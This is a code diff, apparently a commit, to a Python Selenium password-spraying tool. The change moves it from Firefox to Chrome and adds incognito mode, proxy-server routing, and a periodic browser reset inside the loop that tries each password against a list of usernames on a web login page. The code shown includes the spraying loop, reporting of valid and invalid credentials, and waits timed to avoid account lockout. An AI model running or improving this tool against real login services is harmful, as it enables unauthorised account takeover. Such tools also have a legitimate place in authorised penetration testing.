30
30
from collections import OrderedDict
31
31
32
32
# Import selenium packages
33
- from selenium .webdriver import Firefox , DesiredCapabilities
33
+ from selenium .webdriver import Chrome
34
34
from selenium .common .exceptions import TimeoutException , WebDriverException
35
35
from selenium .webdriver .support import expected_conditions as EC
36
36
from selenium .webdriver .common .by import By
37
37
from selenium .webdriver .common .keys import Keys
38
+ from selenium .webdriver .common .proxy import Proxy , ProxyType
38
39
from selenium .webdriver .support .ui import WebDriverWait
39
- from selenium .webdriver .firefox .options import Options
40
- from selenium .webdriver .firefox .service import Service
41
- from selenium .webdriver .firefox .firefox_profile import FirefoxProfile
40
+ from selenium .webdriver .chrome .options import Options
41
+ from selenium .webdriver .chrome .service import Service
42
42
43
- from webdriver_manager .firefox import GeckoDriverManager
43
+ from webdriver_manager .chrome import ChromeDriverManager
44
44
45
45
46
46
# Maspping of element XPATH's in the authentication process
@@ -71,40 +71,23 @@ class text_colors:
71
71
class BrowserEngine :
72
72
73
73
options = Options ()
74
- profile = FirefoxProfile ()
75
- driver_path = GeckoDriverManager (log_level = 0 ).install ()
74
+ driver_path = ChromeDriverManager (log_level = 0 ).install ()
76
75
# Set preferences at the class level
77
- options .set_preference ("permissions.default.image" , 2 ) # Supposed to help with memory issues
78
- options .set_preference ("dom.ipc.plugins.enabled.libflashplayer.so" , False )
79
- options .set_preference ("browser.cache.disk.enable" , False )
80
- options .set_preference ("browser.cache.memory.enable" , False )
81
- options .set_preference ("browser.cache.offline.enable" , False )
82
- options .set_preference ("network.http.use-cache" , False )
83
- options .set_preference ('intl.accept_languages' , 'en-US' )
76
+ options .add_argument ("--incognito" )
84
77
options .accept_untrusted_certs = True
85
78
86
79
def __init__ (self , wait = 5 , proxy = None , headless = False ):
87
80
self .options .headless = headless
88
- if headless :
89
- self .options .add_argument ("--headless" )
90
81
if proxy is not None :
91
- print ('here' )
92
82
self .set_proxy (proxy )
93
- self .options .profile = self .profile
94
- self .driver = Firefox (options = self .options , service = Service (self .driver_path ))
83
+ self .driver = Chrome (options = self .options , service = Service (self .driver_path ))
95
84
self .driver .set_window_position (0 , 0 )
96
85
self .driver .set_window_size (1024 , 768 )
97
86
self .wait = WebDriverWait (self .driver , wait )
98
87
99
88
def set_proxy (self , proxy ):
100
89
if proxy is not None :
101
- ip , port = proxy .split (":" )
102
- self .options .set_preference ('network.proxy.type' , 1 )
103
- self .options .set_preference ('network.proxy.http' , ip )
104
- self .options .set_preference ('network.proxy.http_port' , int (port ))
105
- #self.options.set_preference('network.proxy.https', ip)
106
- #self.options.set_preference('network.proxy.https_port', int(port))
107
- self .options .update_preferences ()
90
+ self .options .add_argument ('--proxy-server=%s' % proxy )
108
91
109
92
def quit (self ):
110
93
self .driver .quit ()
@@ -122,7 +105,6 @@ def clear_cookies(self):
122
105
self .driver .delete_all_cookies ()
123
106
124
107
def get (self , url ):
125
- print (self .options )
126
108
self .driver .get (url )
127
109
128
110
def find_element (self , type_ , value ):
@@ -210,7 +192,7 @@ def lockout_reset_wait(lockout):
210
192
sleep (lockout * 60 )
211
193
212
194
def reset_browser (browser , wait , proxy , headless ):
213
- browser .close ()
195
+ browser .quit ()
214
196
return BrowserEngine (wait = wait , proxy = proxy )
215
197
216
198
@@ -303,8 +285,16 @@ def spray(args, username_list, password_list):
303
285
304
286
for username in username_list :
305
287
288
+ if counter >= args .reset_after :
289
+ browser = reset_browser (browser , args .wait ,
290
+ args .proxy , args .headless ) # Reset the browser to deal with latency issues
291
+ counter = 0
292
+
293
+
306
294
print ("[*] Current username: %s" % username )
307
295
296
+ counter += 1
297
+
308
298
# This seems to helps with memory issues...
309
299
browser .clear_cookies ()
310
300
@@ -328,8 +318,9 @@ def spray(args, username_list, password_list):
328
318
if not usernamefield :
329
319
print ("%s[Error] %s%s" % (text_colors .red , "Username field not found" ,
330
320
text_colors .reset ))
331
- else :
332
- browser .populate_element (usernamefield , username )
321
+ continue
322
+
323
+ browser .populate_element (usernamefield , username )
333
324
# Find button and click it
334
325
element = elements ["button_next" ]
335
326
try :
@@ -350,7 +341,6 @@ def spray(args, username_list, password_list):
350
341
# Remove from list
351
342
username_list .remove (username )
352
343
invalid += 1 # Keep track so the user knows they need to run enum
353
- counter += 1
354
344
355
345
else :
356
346
# Populate the password field and click 'Sign In'
@@ -375,13 +365,7 @@ def spray(args, username_list, password_list):
375
365
else :
376
366
print ("%s[Invalid Creds] %s:%s%s" % (text_colors .red , username , password , text_colors .reset ))
377
367
378
- counter += 1
379
-
380
368
381
- if counter >= args .reset_after :
382
- browser = reset_browser (browser , args .wait ,
383
- args .proxy , args .headless ) # Reset the browser to deal with latency issues
384
- counter = 0
385
369
386
370
# Wait for lockout period if not last password
387
371
if index != last_index :
0 commit comments